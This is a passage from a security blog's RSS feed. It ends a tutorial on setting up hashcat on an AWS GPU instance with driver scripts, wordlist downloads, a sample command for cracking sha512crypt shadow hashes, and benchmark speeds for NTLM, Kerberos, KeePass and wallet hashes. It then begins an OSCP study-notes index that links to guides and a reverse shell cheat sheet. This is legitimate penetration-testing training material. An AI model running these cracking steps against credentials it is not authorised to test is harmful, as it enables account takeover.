&lt;p&gt;This script will install all the required packages and the Nvidia GPU drivers on a vanilla Ubuntu installation.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# mostly copied from: https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get update -yq
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install -yq build-essential linux-headers-&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;uname -r&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; unzip p7zip-full linux-image-extra-virtual
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install -yq ocl-icd-libopencl1 opencl-headers clinfo
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#sudo apt-get install -yq libhwloc-plugins libhwloc5 libltdl7 libpciaccess0 libpocl2 libpocl2-common ocl-icd-libopencl1 pocl-opencl-icd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install -yq python3-pip 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pip3 install psutil
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo touch /etc/modprobe.d/blacklist-nouveau.conf
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;echo &amp;#39;blacklist nouveau&amp;#39; &amp;gt;&amp;gt; /etc/modprobe.d/blacklist-nouveau.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;echo &amp;#39;blacklist lbm-nouveau&amp;#39; &amp;gt;&amp;gt; /etc/modprobe.d/blacklist-nouveau.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;echo &amp;#39;options nouveau modeset=0&amp;#39; &amp;gt;&amp;gt; /etc/modprobe.d/blacklist-nouveau.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;echo &amp;#39;alias nouveau off&amp;#39; &amp;gt;&amp;gt; /etc/modprobe.d/blacklist-nouveau.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;echo &amp;#39;alias lbm-nouveau off&amp;#39; &amp;gt;&amp;gt; /etc/modprobe.d/blacklist-nouveau.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo touch /etc/modprobe.d/nouveau-kms.conf
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo bash -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;echo &amp;#39;options nouveau modeset=0&amp;#39; &amp;gt;&amp;gt;  /etc/modprobe.d/nouveau-kms.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo update-initramfs -u
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo reboot
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;### Install nVidia Drivers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wget http://us.download.nvidia.com/tesla/410.104/NVIDIA-Linux-x86_64-410.104.run
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo /bin/bash NVIDIA-Linux-x86_64-410.104.run --ui&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;none --no-questions --silent -X
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;prepare-machine-deep-learning-ubuntu&#34;&gt;Prepare Machine (Deep Learning Ubuntu)&lt;/h3&gt;
&lt;p&gt;In comparison the previous script there is a much simpler script to prepare the Deep Learning instance. The main focus is installing the needed archive extraction tools.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt upgrade
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt install clinfo unzip p7zip-full
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt install build-essential linux-headers-&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;uname -r&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;# Optional &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install -yq python3-pip 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pip3 install psutil
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;hashcat-setup&#34;&gt;Hashcat Setup&lt;/h2&gt;
&lt;p&gt;Now we need to download and extract the star of the show Hashcat. The link in the wget below points to the the most recent version as of writing however you might want to check to see if there is a more recent version at the main site: &lt;a href=&#34;https://hashcat.net/hashcat/&#34;&gt;https://hashcat.net/hashcat/&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wget https://hashcat.net/files/hashcat-5.1.0.7z
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;7z x hashcat-5.1.0.7z
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;download-wordlists&#34;&gt;Download wordlists&lt;/h3&gt;
&lt;p&gt;You will need some wordlists for hashcat to use to crack passwords, he commands listed are for some wordlists I like to use when cracking. You should however add whichever lists are your favories.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mkdir ~/wordlists
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;git clone https://github.com/danielmiessler/SecLists.git ~/wordlists/seclists
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wget -nH http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2 -O ~/wordlists/rockyou.txt.bz2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; ~/wordlists
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;bunzip2 ./rockyou.txt.bz2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; ~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;running-hashcat&#34;&gt;Running hashcat&lt;/h2&gt;
&lt;p&gt;Now it is time to run hashcat and crack some passwords. When running hashcat I had the best performance with the arguments &lt;code&gt;-O -w 3&lt;/code&gt;. Below is an example command line I’ve used inclusing a rules file.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;./hashcat-5.1.0/hashcat64.bin --username -m 1800 ./megashadow256.txt wordlists/rockyou.txt -r hashcat-5.1.0/rules/best64.rule -O -w 3
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;monitoring-the-nvidia-gpu&#34;&gt;Monitoring the Nvidia GPU&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;nvidia-smi&lt;/code&gt; utility can be used to show the GPU processor usage and what processes are utilizing the GPU(s). The first example is is showing an idle GPU.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ubuntu@ip-172-31-17-6:~$ sudo nvidia-smi
Fri Apr 26 14:43:49 2019
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 410.104      Driver Version: 410.104      CUDA Version: 10.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  Tesla M60           Off  | 00000000:00:1E.0 Off |                    0 |
| N/A   37C    P0    42W / 150W |      0MiB /  7618MiB |     97%      Default |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID   Type   Process name                             Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This example shows a GPU being used by hashcat.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ubuntu@ip-172-31-17-6:~$ sudo nvidia-smi
Fri Apr 26 14:44:44 2019
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 410.104      Driver Version: 410.104      CUDA Version: 10.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  Tesla M60           Off  | 00000000:00:1E.0 Off |                    0 |
| N/A   46C    P0   141W / 150W |    828MiB /  7618MiB |    100%      Default |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID   Type   Process name                             Usage      |
|=============================================================================|
|    0     11739      C   ./hashcat-5.1.0/hashcat64.bin                817MiB |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;conclusion-and-benchmarks&#34;&gt;Conclusion and Benchmarks&lt;/h2&gt;
&lt;p&gt;Finally here is a benchmark I ran on a g3.4xlarge instance. This instance type contains 1 GPU. These results give an idea of performance for this AWS EC2 instance type.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ubuntu@ip-172-31-17-6:~$ ./hashcat-5.1.0/hashcat64.bin -O -w 3 -b
hashcat (v5.1.0) starting in benchmark mode...

* Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss.
             You can use --force to override, but do not report related errors.
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla M60, 1904/7618 MB allocatable, 16MCU

OpenCL Platform #2: The pocl project
====================================
* Device #2: pthread-Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz, skipped.

Benchmark relevant options:
===========================
* --optimized-kernel-enable
* --workload-profile=3

Hashmode: 0 - MD5

Speed.#1.........: 11611.6 MH/s (90.74ms) @ Accel:512 Loops:512 Thr:256 Vec:4

Hashmode: 100 - SHA1

Speed.#1.........:  4050.2 MH/s (65.01ms) @ Accel:512 Loops:128 Thr:256 Vec:2

Hashmode: 1400 - SHA2-256

Speed.#1.........:  1444.5 MH/s (91.98ms) @ Accel:256 Loops:128 Thr:256 Vec:1

Hashmode: 1700 - SHA2-512

Speed.#1.........:   499.4 MH/s (66.78ms) @ Accel:128 Loops:64 Thr:256 Vec:1

Hashmode: 2500 - WPA-EAPOL-PBKDF2 (Iterations: 4096)

Speed.#1.........:   189.8 kH/s (42.76ms) @ Accel:128 Loops:64 Thr:256 Vec:1

Hashmode: 1000 - NTLM

Speed.#1.........: 18678.1 MH/s (56.58ms) @ Accel:512 Loops:512 Thr:256 Vec:2

Hashmode: 3000 - LM

Speed.#1.........: 10529.6 MH/s (50.60ms) @ Accel:128 Loops:1024 Thr:256 Vec:1

Hashmode: 5500 - NetNTLMv1 / NetNTLMv1+ESS

Speed.#1.........: 10650.8 MH/s (49.60ms) @ Accel:512 Loops:256 Thr:256 Vec:1

Hashmode: 5600 - NetNTLMv2

Speed.#1.........:   829.3 MH/s (80.24ms) @ Accel:256 Loops:64 Thr:256 Vec:1

Hashmode: 1500 - descrypt, DES (Unix), Traditional DES

Speed.#1.........:   442.0 MH/s (37.81ms) @ Accel:4 Loops:1024 Thr:256 Vec:1

Hashmode: 500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)

Speed.#1.........:  4209.1 kH/s (51.39ms) @ Accel:1024 Loops:500 Thr:32 Vec:1

Hashmode: 3200 - bcrypt $2*$, Blowfish (Unix) (Iterations: 32)

Speed.#1.........:     7572 H/s (33.02ms) @ Accel:16 Loops:4 Thr:8 Vec:1

Hashmode: 1800 - sha512crypt $6$, SHA512 (Unix) (Iterations: 5000)

Speed.#1.........:    76958 H/s (83.99ms) @ Accel:512 Loops:128 Thr:32 Vec:1

Hashmode: 7500 - Kerberos 5 AS-REQ Pre-Auth etype 23

Speed.#1.........:   149.4 MH/s (56.00ms) @ Accel:128 Loops:64 Thr:64 Vec:1

Hashmode: 13100 - Kerberos 5 TGS-REP etype 23

Speed.#1.........:   152.1 MH/s (55.00ms) @ Accel:128 Loops:64 Thr:64 Vec:1

Hashmode: 15300 - DPAPI masterkey file v1 (Iterations: 23999)

Speed.#1.........:    32703 H/s (84.02ms) @ Accel:256 Loops:64 Thr:256 Vec:1

Hashmode: 15900 - DPAPI masterkey file v2 (Iterations: 7999)

Speed.#1.........:    21692 H/s (96.24ms) @ Accel:256 Loops:128 Thr:32 Vec:1

Hashmode: 7100 - macOS v10.8+ (PBKDF2-SHA512) (Iterations: 35000)

Speed.#1.........:     5940 H/s (40.09ms) @ Accel:64 Loops:32 Thr:256 Vec:1

Hashmode: 11600 - 7-Zip (Iterations: 524288)

Speed.#1.........:     4522 H/s (55.87ms) @ Accel:256 Loops:128 Thr:256 Vec:1

Hashmode: 12500 - RAR3-hp (Iterations: 262144)

Speed.#1.........:    18001 H/s (56.74ms) @ Accel:4 Loops:16384 Thr:256 Vec:1

Hashmode: 13000 - RAR5 (Iterations: 32767)

Speed.#1.........:    18135 H/s (55.93ms) @ Accel:128 Loops:64 Thr:256 Vec:1

Hashmode: 6211 - TrueCrypt PBKDF2-HMAC-RIPEMD160 + XTS 512 bit (Iterations: 2000)

Speed.#1.........:   121.7 kH/s (59.39ms) @ Accel:128 Loops:32 Thr:256 Vec:1

Hashmode: 13400 - KeePass 1 (AES/Twofish) and KeePass 2 (AES) (Iterations: 6000)

Speed.#1.........:    68380 H/s (158.89ms) @ Accel:512 Loops:256 Thr:32 Vec:1

Hashmode: 6800 - LastPass + LastPass sniffed (Iterations: 500)

Speed.#1.........:  1088.7 kH/s (48.51ms) @ Accel:128 Loops:62 Thr:256 Vec:1

Hashmode: 11300 - Bitcoin/Litecoin wallet.dat (Iterations: 199999)

Speed.#1.........:     2107 H/s (78.97ms) @ Accel:128 Loops:64 Thr:256 Vec:1

Started: Fri Apr 26 14:36:56 2019
Stopped: Fri Apr 26 14:42:03 2019
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you’ve made it this far congratulation and happy cracking!&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/HASHCAT-IN-AWS-EC2.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>aws</category>
            
          
            
              <category>hashcat</category>
            
          
            
              <category>howto</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>OSCP Notes</title>
        <link>https://ben.the-collective.net/oscp-notes/</link>
        <pubDate>Thu, 20 Jun 2019 11:13:05 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Thu, 20 Jun 2019 11:13:05 -0400</atom:modified>
        <guid>https://ben.the-collective.net/oscp-notes/</guid>
        <description>Topic Index Note: This material is based on the First revision of the OSCP and does not cover topics in the new version (v2?)
OSCP Notes – Buffer Overflows
OSCP Notes – Enumeration
OSCP Notes – Metasploit
OSCP Notes – Password attacks
OSCP Notes – Pivoting
OSCP Notes – Shell and Linux / UNIX
OSCP Notes – Web Exploitation
OSCP Notes – Windows
Student Notes and Guides OSCP Goldmine (not clickbait) | 0xc0ffee☕ My OSCP Diary – Week 1 – Threat Week GitHub – areyou1or0/OSCP: OSCP abatchy’s blog | How to prepare for PWK/OSCP, a noob-friendly guide Thunderson&amp;rsquo;s Journey To The OSCP Passing OSCP – scund00r Introduction · Total OSCP Guide Introduction · OSCP – Useful Resources The Journey to Try Harder: TJnull’s Preparation Guide for PWK/OSCP | NetSec Focus Thoughts on OSCP certification and the exam!</description>
        <content:encoded>&lt;h2 id=&#34;topic-index&#34;&gt;Topic Index&lt;/h2&gt;
&lt;p&gt;Note: This material is based on the First revision of the OSCP and does not cover topics in the new version (v2?)&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/buffer-overflows/&#34;&gt;OSCP Notes – Buffer Overflows&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/enumeration/&#34;&gt;OSCP Notes – Enumeration&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/metasploit/&#34;&gt;OSCP Notes – Metasploit&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/password-attacks/&#34;&gt;OSCP Notes – Password attacks&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/pivoting/&#34;&gt;OSCP Notes – Pivoting&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/shell-and-linux-unix/&#34;&gt;OSCP Notes – Shell and Linux / UNIX&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/web-exploitation-2/&#34;&gt;OSCP Notes – Web Exploitation&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/windows/&#34;&gt;OSCP Notes – Windows&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;student-notes-and-guides&#34;&gt;Student Notes and Guides&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://0xc0ffee.io/blog/OSCP-Goldmine&#34;&gt;OSCP Goldmine (not clickbait) | 0xc0ffee☕&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://threatweek.co.uk/2018/09/04/my-oscp-diary-week-1/&#34;&gt;My OSCP Diary – Week 1 – Threat Week&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/areyou1or0/OSCP&#34;&gt;GitHub – areyou1or0/OSCP: OSCP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob&#34;&gt;abatchy’s blog | How to prepare for PWK/OSCP, a noob-friendly guide &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.secjuice.com/oscp-prep-guidance/&#34;&gt;Thunderson&amp;rsquo;s Journey To The OSCP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html&#34;&gt;Passing OSCP – scund00r&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://sushant747.gitbooks.io/total-oscp-guide/&#34;&gt;Introduction · Total OSCP Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://backdoorshell.gitbooks.io/oscp-useful-links/content/&#34;&gt;Introduction · OSCP – Useful Resources&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html&#34;&gt;The Journey to Try Harder: TJnull’s Preparation Guide for PWK/OSCP | NetSec Focus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hypn.za.net/blog/2018/06/06/thoughts-on-oscp-certification-and-the-exam/&#34;&gt;Thoughts on OSCP certification and the exam! | Hypn.za.net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/CyDefUnicorn/OSCP-Archives&#34;&gt;https://github.com/CyDefUnicorn/OSCP-Archives&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.peerlyst.com/posts/how-to-prepare-for-the-oscp-a-study-plan-magda-chelly-ph-d&#34;&gt;https://www.peerlyst.com/posts/how-to-prepare-for-the-oscp-a-study-plan-magda-chelly-ph-d&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;toolboxes--cheat-sheets&#34;&gt;Toolboxes – Cheat Sheets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://highon.coffee/blog/reverse-shell-cheat-sheet/&#34;&gt;highon.coffee Reverse Shell Cheat Sheet&lt;/a&gt;&lt;/li&gt;
